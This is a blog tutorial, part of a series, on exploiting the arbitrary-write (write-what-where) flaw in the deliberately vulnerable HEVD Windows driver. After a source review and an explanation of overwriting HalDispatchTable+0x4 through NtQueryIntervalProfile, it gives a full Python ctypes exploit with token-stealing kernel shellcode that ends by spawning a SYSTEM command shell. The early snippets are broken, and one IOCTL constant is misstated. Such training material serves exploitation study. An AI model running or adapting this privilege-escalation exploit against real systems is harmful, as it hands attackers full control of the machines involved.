windows-kernel

Windows Kernel Exploitation 5 – Arbitrary Memory Overwrite (Write-What-Where)


We’re continuing our work on Windows kernel exploitation. Previous posts in this series covered environment setup, shellcode writing and token stealing, and most recently the exploitation of a stack-based buffer overflow. From here on, we’ll be moving toward real-world vulnerability classes — and today’s post is an important step in that direction.

Today’s topic is the Arbitrary Memory Overwrite vulnerability, also known as Write-What-Where. Our goal is essentially to overwrite a pointer in the Kernel Dispatch Table (where) with the address of our shellcode (what). I won’t spend much time on the environment setup — refer to earlier posts in this series for that.

Source Code Review 1 – The Header File

First, let’s examine the vulnerable code provided by HEVD. Starting with the header file, ArbitraryWrite.h:

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

The first line contains a typedef — a C construct used to create custom type aliases. It behaves similarly to #define in some ways, but there are important differences worth keeping in mind.

Next comes WRITE_WHAT_WHERE — this is an alias or identifier that can be used to reference the _WRITE_WHAT_WHERE structure. At the end of the block, we can see that a pointer named PWRITE_WHAT_WHERE is also created. In the middle, we have two pointers: What and Where. The _WRITE_WHAT_WHERE structure refers to the construct that contains both of them. When PWRITE_WHAT_WHERE is referenced later, it becomes a pointer to this structure.

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);

Looking at the last snippet in the file: the UserWriteWhatWhere variable is associated with the PWRITE_WHAT_WHERE data type, and is then passed into TriggerArbitraryWrite().

Source Code Review 2 – The Main Source File

After the header, our next stop is ArbitraryWrite.c.

PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;

As seen in the snippet above, the What and Where pointers are initialized as NULL pointers. The snippet below is where the actual vulnerability lives:

#else
        DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);

As you can see, the value pointed to by What can be written to the memory location referenced by Where. The problem is that there is no validation mechanism — no use of Windows APIs like ProbeForRead() or ProbeForWrite() — to verify that the What and Where values actually reside in user mode. We’ll leverage this in our user-mode shellcode later in the post.

IOCTL Discovery and Driver Communication

We’ve identified where the vulnerability lives. To trigger this code, we also need the correct IOCTL code. In the previous post, we used IDA Pro to examine IrpDeviceIoCtlHandler. Here, however, we’ll look at HackSysExtremeVulnerableDriver.h directly and calculate the IOCTL code manually — though static analysis via IDA Pro is equally valid.

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)

To find the required IOCTL code, we can use the CTL_CODE value 0x820 provided by the source. After running the Python command above, our IOCTL code is 0x22200b.

Going back to IDA Pro and looking at TriggerArbitraryOverwrite, we can see two separate 4-byte lengths as shown in the screenshot — one for What and one for Where.

A Brief Note Before Writing the Exploit

The exploits will be written in Python, making use of the ctypes library. Here’s a quick primer.

ctypes is a Python library that allows foreign functions to be called from Python. It provides C-compatible data types and allows calling functions in DLLs or shared libraries.

ctypes is best suited for those working at a low level — for example, when doing kernel-level work such as kernel debugging, or when you want to use OS-level APIs within Python projects.

PoC Time

With the necessary background and IOCTL code in hand, let’s move to writing the exploit.

#Python 2.7.16 ile olusturulmustur.
#ctypes kütüphanesinden yararlanıyoruz
import sys
import os
from ctypes import *
from subprocess import *
from struct import *
 

# Windows API etkileşimi için DLL'ler
def windll():
    kernel32 = windll.kernel32
    ntdll = windll.ntdll
    psapi = windll.Psapi

# DeviceIoControl() işlevine dönmek için sürücüyü tanıma
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
def kernel32():
    handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver",     # lpFileName
    0xC0000000,                                  # dwDesiredAccess
    0,                                           # dwShareMode
    None,                                        # lpSecurityAttributes
    0x3,                                         # dwCreationDisposition
    0,                                           # dwFlagsAndAttributes
    None                                         # hTemplateFile
)

poc = "\x41\x41\x41\x41"                # What
poc += "\x42\x42\x42\x42"               # Where
poc_length = len(poc)

# 0x002200B = TriggerArbitraryOverwrite() işlevine atlayacak olan IOCTL kodumuz
def DeviceIoControl():
    kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x0022200B,                         # dwIoControlCode
    poc,                                # lpInBuffer
    poc_length,                         # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

We now connect our debugger and debuggee machines and run the exploit. As you can see in the output above, at this point we’re able to write a specific value. Let’s look at how this ability to write a value can help us execute user-mode shellcode from kernel mode.

As you’ll recall from the previous post on the stack-based buffer overflow, user-mode memory was copied directly into kernel mode without any validation. In our current situation, there’s no direct memory copy into kernel mode. However, there is a technique for executing user-mode shellcode from kernel mode.

This technique falls under the HalDispatchTable+0x4 exploitation method. We’ll write our shellcode address into the Hal Dispatch Table, then overwrite a dispatch table pointer that we can call via NtQueryIntervalProfile.

HAL Dispatch Table

The HAL Dispatch structure is a structure that points to optional HAL functions. The kernel maintains an instance of this table. It lives in the kernel’s read-write data section and exports its address as HalDispatchTable. The table initially contains most — but not all — of the HAL functions, some trivial and some significant. HAL overrides some but not all of them. Functions that have no meaning for a particular HAL are left at the kernel’s default value.

HalDispatchTable is responsible for acting as a table that holds function pointers to various HAL routines. HAL (Hardware Abstraction Layer) serves as a software layer between kernel-mode execution and a hardware interface (motherboard, CPU, NICs, etc.), and resides in hal.dll, which is called by ntoskrnl.exe.

Exploitation Technique

With our Arbitrary Write primitive, we can write a controlled payload to a controlled memory location inside the kernel. As mentioned, we’ll overwrite a pointer inside the HalDispatchTable. We’ll use HalDispatchTable and invoke it from user-mode perspective via NtQueryIntervalProfile — one of the undocumented Windows APIs.

NTSTATUS 
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource, 
    ULONG *Interval);

In the kernel, nt!KeQueryIntervalProfile is called, which is then used to reach HalDispatchTable+0x4. If we overwrite HalDispatchTable+0x4 and call NtQueryIntervalProfile, it acts as a trigger. We can then write our shellcode payload pointer into KernelLand and have it triggered by a UserLand function call.

Exploitation Technique – WinDbg Phase

Our exploitation technique references +0x4 and other values above. Let’s first trace where those come from using WinDbg.

kd>u nt!NtQueryIntervalProfile

As shown in the output above, NtQueryIntervalProfile makes a direct call to KeQueryIntervalProfile. We can verify this in the WinDbg output above.

kd>u nt!KeQueryIntervalProfile

KeQueryIntervalProfile calls into offset 0x4 of the HAL table. From here, we can move on to completing the exploit.

Completing the Exploit – Roadmap

The steps we’ll take to complete the exploit:

  1. First, enumerate the load addresses of all device drivers using EnumDeviceDrivers().
  2. Then find the base name of each driver via GetDeviceDriverBaseNameA().
  3. Retrieve the base name and address of ntoskrnl.exe.
  4. Load the ntoskrnl.exe handle into LoadLibraryExA and enumerate the HalDispatchTable address via GetProcAddress().
  5. Once we have the HalDispatchTable address, calculate HalDispatchTable + 0x4 (by adding 4 bytes) and overwrite this pointer with a pointer to our user-mode shellcode via EnumDeviceDrivers().

Completing the Exploit – EnumDeviceDrivers()

#EnumDeviceDrivers () aracılığıyla tüm sürücüler için adresleri numaralandırma
    enum_base = (c_ulong * 1024)()
    enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
   
    #Eğer fonksiyon başarısız olursa,hata işleme
    if not enum:
        print "Failed to enumerate!!!"
        sys.exit(-1)

In the snippet above, the base addresses of the drivers are enumerated and stored in an array. Once enumeration is complete, we continue to locate the address of ntoskrnl.exe.

Completing the Exploit – ntoskrnl.exe

#GetDeviceDriverBaseName() kullanarak, 
    #ntoskrnl.exe için numaralandırılmış adresler arasında geçiş yapma
    for base_address in enum_base:
        if not base_address:
            continue
        base_name = c_char_p('\x00' * 1024)
        driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
        
        # Eğer fonksiyon başarısızı olursa, hata işleme
        if not driver_base_name:
            print "Unable to get driver base name!!!"
            sys.exit(-1)

        if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
            
            #ntoskrnl.exe bulunduğu zaman, bulunduğu andaki değeri döndürme
            base_name = base_name.value
            print "[+] Loaded Kernel: {0}".format(base_name)
            
            # ntoskrnl.exe adresini göstermek için print update
            print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
            break

This code walks through the array of exported base addresses and searches for ntoskrnl.exe via GetDeviceDriverBaseNameA(). Once found, it is saved.

Completing the Exploit – LoadLibraryExA

# Numaralandırmaya başlama
kernel_handle = kernel32.LoadLibraryExA(
    current_name,                       # lpLibFileName (specifies the name of the module, in this case ntlkrnl.exe)
    None,                               # hFile (parameter must be null)
    0x00000001                          # dwFlags (DONT_RESOLVE_DLL_REFERENCES)
)

LoadLibraryExA takes the handle from GetDeviceDriverBaseNameA() (i.e., ntoskrnl.exe). It then passes the handle loaded into memory to GetProcAddress() in the snippet below.

Completing the Exploit – GetProcAddress()

hal = kernel32.GetProcAddress(
    kernel_handle,                      # hModule (handle passed via LoadLibraryExA to ntoskrnl.exe)
    'HalDispatchTable'                  # lpProcName (name of value)
)

# Kullanıcı modunda ntoskrnl tabanını çıkarma
hal -= kernel_handle

# Çekirdek modunda ntoskrnl'in temel adresini ekleme
hal += base_address

# HAL + 0x4'ü hatırlıyorsunuz. Bu adreside alıyoruz
real_hal = hal + 0x4

# HAL ve HAL + 0x4 konumunu print update yapıyoruz.
print "[+] HAL location: {0}".format(hex(hal))
print "[+] HAL + 0x4 location: {0}".format(hex(real_hal))

GetProcAddress() will resolve both the HalDispatchTable address and HalDispatchTable + 0x4 for us.

HalDispatchTable + 0x4 is what matters most here. Once we have that address, the exploit is ready to fly.

Completing the Exploit – Obtaining and Embedding the Shellcode

I covered the shellcode in detail in earlier posts in this series — refer to those for a walkthrough.

Completing the Exploit – Final Run

import ctypes, sys, struct
from ctypes import *
from subprocess import *

class WriteWhatWhere(Structure):
    _fields_ = [
        ("What", c_void_p),
        ("Where", c_void_p)
    ]
#Windows API etkileşimi için DLL'ler
def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll

    #Shellcodu'muzu tanımlama ve Vırtualloc'a yükleme
    payload = bytearray(
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x31\xc0"                      # xor eax,eax
        "\x64\x8b\x80\x24\x01\x00\x00"  # mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                  # mov eax,[eax+0x50]
        "\x89\xc1"                      # mov ecx,eax
        "\xba\x04\x00\x00\x00"          # mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"      # mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"          # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"      # cmp [eax+0xb4],edx
        "\x75\xed"                      # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"      # mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"      # mov [ecx+0xf8],edx
        "\x61"                          # popad
        "\x31\xc0"                      # xor eax,eax
        "\x83\xc4\x24"                  # add esp,byte +0x24
        "\x5d"                          # pop ebp
        "\xc2\x08\x00"                  # ret 0x8
    )
    print "[+] Allocating RWX region for shellcode"
    ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))
    buff = (c_char * len(payload)).from_buffer(payload)
    print "[+] Copying shellcode to newly allocated RWX region"
    kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(payload)))
    #Python, bir değeri döndürmek için id kullanırken,degerden 20 bytes'lık bir offset oluşturur.
    #Id değeri döndürdükten sonra, döndürülen değeri 20 bytes'lık arttırmak gerekiyor.
    payload_address = id(payload) + 20
    payload_final = struct.pack("<L",ptr)
    payload_final_address = id(payload_final) + 20
    #Shellcode update ifadesinin yeri 
    print "[+] Address of ring0 payload: {0}".format(hex(payload_address))
    #Shellcode'una işaretçi konumu
    print "[+] Pointer for ring0 payload: {0}".format(hex(payload_final_address))

    #EnumDeviceDrivers () aracılığıyla tüm sürücüler için adresleri numaralandırma
    enum_base = (c_ulong * 1024)()
    enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
    #Eğer fonksiyon başarısız olursa,hata işleme
    if not enum:
        print "Failed to enumerate!!!"
        sys.exit(-1)

    #GetDeviceDriverBaseName() kullanarak, 
    #ntoskrnl.exe için numaralandırılmış adresler arasında geçiş yapma
    for base_address in enum_base:
        if not base_address:
            continue
        base_name = c_char_p('\x00' * 1024)
        driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
        
        # Eğer fonksiyon başarısızı olursa, hata işleme
        if not driver_base_name:
            print "Unable to get driver base name!!!"
            sys.exit(-1)

        if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
            
            #ntoskrnl.exe bulunduğu zaman, bulunduğu andaki değeri döndürme
            base_name = base_name.value
            print "[+] Loaded Kernel: {0}".format(base_name)

            # ntoskrnl.exe adresini göstermek için print update
            print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
            break

    #Numaralandırmaya başlanması
    kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
    if not kernel_handle:
        print "Unable to get Kernel Handle"
        sys.exit(-1)

    #HAL adresi alma
    hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')

    # Kullanıcı modunda ntoskrn tabanını çıkarma
    hal_address -= kernel_handle

    # Çekirdek modunda ntoskrnl'ın temel adresini ekleme
    hal_address += base_address

    # HalDispatchTable+0x4 için HAL adresine 0x4 ekleme
    hal4 = hal_address + 0x4

    print "[+] HalDispatchTable    : {0}".format(hex(hal_address))
    print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))

    #What-Where
    www = WriteWhatWhere()
    www.What = payload_final_address
    www.Where = hal4
    www_pointer = pointer(www)

    print "[+] What : {0}".format(hex(www.What))
    print "[+] Where: {0}".format(hex(www.Where))

    # DeviceIoControl() işlevine dönmek için sürücüyü tanıma
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    # 0x002200B = TriggerArbitraryOverwrite() işlevine atlayacak olan IOCTL kodumuz
    kernel32.DeviceIoControl(hevDevice, 0x0022200B, www_pointer, 0x8, None, 0, byref(c_ulong()), None)

    #NtQueryIntervalProfile fonksiyonunu çağırıp, shellcode'unu yürütme
    ntdll.NtQueryIntervalProfile(0x1234, byref(c_ulong()))
    print "[+] nt authority\system shell incoming"
    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

After running the exploit, we can confirm that we have elevated privileges on the system.

References

  1. https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/hal_dispatch.htm

  2. https://rootkits.xyz/blog/2017/09/kernel-write-what-where/

  3. https://docs.python.org/2.7/

  4. https://www.vergiliusproject.com/kernels/x86/Windows%207/SP1

  5. https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa?redirectedfrom=MSDN

  6. https://github.com/hacksysteam/HackSysExtremeVulnerableDriver